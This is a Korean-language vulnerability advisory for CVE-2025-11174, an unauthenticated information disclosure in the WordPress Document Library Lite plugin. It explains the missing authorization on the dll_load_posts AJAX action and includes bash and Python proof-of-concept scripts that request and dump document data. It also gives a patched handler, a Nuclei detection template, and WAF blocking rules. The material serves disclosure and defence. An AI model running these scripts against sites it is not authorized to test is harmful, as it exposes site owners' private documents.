
Document Library Lite <= 1.1.6 - 민감 정보 노출에 대한 인가 누락 | CVE-2025-11174
Document Library Lite WordPress 플러그인 정보 노출 취약점 (CVE-2025-11174) - WordPress 문서 라이브러리 플러그인에서 인증되지 않은 사용자가 민감한 문서 데이터에 접근할 수 있는 보안 결함입니다.
WordPress Document Library Lite 플러그인에서 중요한 권한 우회 취약점이 발견되었습니다. 이 취약점을 통해 인증되지 않은 공격자가 적절한 인증 없이 민감한 문서 정보에 접근할 수 있습니다.
발견자: Kai Aizen & Avraham Shemesh (SnailSploit)
공개일: 2025년 11월 1일
CVSS 점수: 5.3 (중간)
CWE: CWE-862 - 누락된 권한 확인
플러그인: Document Library Lite
공급업체: Barn2 Plugins
공격 유형: 인증되지 않은 정보 노출
필요 권한: 없음 (인증되지 않은 공격)
WordPress용 Document Library Lite 플러그인은 버전 1.1.6 이하의 모든 버전에서 부적절한 권한 부여 취약점을 포함하고 있습니다. 이 플러그인은 dll_load_posts라는 인증되지 않은 AJAX 액션을 노출하며, 논스(nonce) 또는 권한 검사를 수행하지 않고 문서 데이터의 JSON 테이블을 반환합니다.
이 취약점을 통해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
참고: CVSS 점수 5.3(중간 심각도)은 제한된 정보 노출을 반영합니다. 이 취약점은 문서 데이터에 대한 인증되지 않은 접근을 허용하지만, 기밀성 영향은 낮음(Low)으로 평가되며 무결성 또는 가용성 영향은 없습니다.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| 지표 | 값 |
|---|---|
| 공격 벡터 | 네트워크 (AV:N) |
| 공격 복잡성 | 낮음 (AC:L) |
| 필요 권한 | 없음 (PR:N) |
| 사용자 상호작용 | 없음 (UI:N) |
| 범위 | 변경되지 않음 (S:U) |
| 기밀성 | 낮음 (C:L) |
| 무결성 | 없음 (I:N) |
| 가용성 | 없음 (A:N) |
CVSS v3.1 세부 분석:
AJAX 액션 dll_load_posts는 적절한 인증 또는 권한 확인 없이 등록되었습니다:
// 취약한 코드 패턴 (단순화됨)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
wp_ajax_nopriv_ 접두사는 이 액션이 인증되지 않은 사용자에게 접근 가능함을 나타내며, 콜백 함수는 다음을 구현하지 않습니다:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
이 취약점은 WordPress admin-ajax.php 엔드포인트를 통해 인증 없이 악용될 수 있습니다.
⚠️ 교육 및 승인된 테스트 목적으로만 사용하세요
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
즉시 필요한 조치:
action=dll_load_posts를 포함한 admin-ajax.php로의 의심스러운 POST 요청을 검토하세요.WordPress 관리자 페이지를 통해:
WP-CLI 사용:
wp plugin update document-library-lite
모든 AJAX 핸들러가 적절한 보안 제어를 구현하도록 하세요:
// 적절한 AJAX 보안 예시
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// 논스(nonce) 검증
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Invalid nonce');
}
// 권한 확인
if (!current_user_can('read')) {
wp_send_json_error('Insufficient permissions');
wp_die();
}
// 안전한 코드 작성
}
# 취약한 버전이 설치되어 있는지 확인
wp plugin list | grep -i "document-library-lite"
Nuclei 템플릿:
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
ModSecurity 규칙:
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
Nginx/OpenResty 규칙:
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
연구자:
공개 과정: 조정된 공개
이 정보는 보안 연구 및 방어 목적으로만 제공됩니다. 이 취약점을 악의적인 목적으로 악용하는 것은 불법이며 비윤리적입니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 권한을 얻으십시오.
이 취약점에 대한 질문이나 추가 정보가 필요하시면:
마지막 업데이트: 2025년 11월 2일
이 프로젝트의 전체 보고서, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다:
Kai Aizen 작성 — 독립적인 공격적 보안 연구원.
snailsploit.com · 연구 · 프레임워크 · GitHub · LinkedIn · ResearchGate · X/Twitter
동일한 공격. 다른 기질.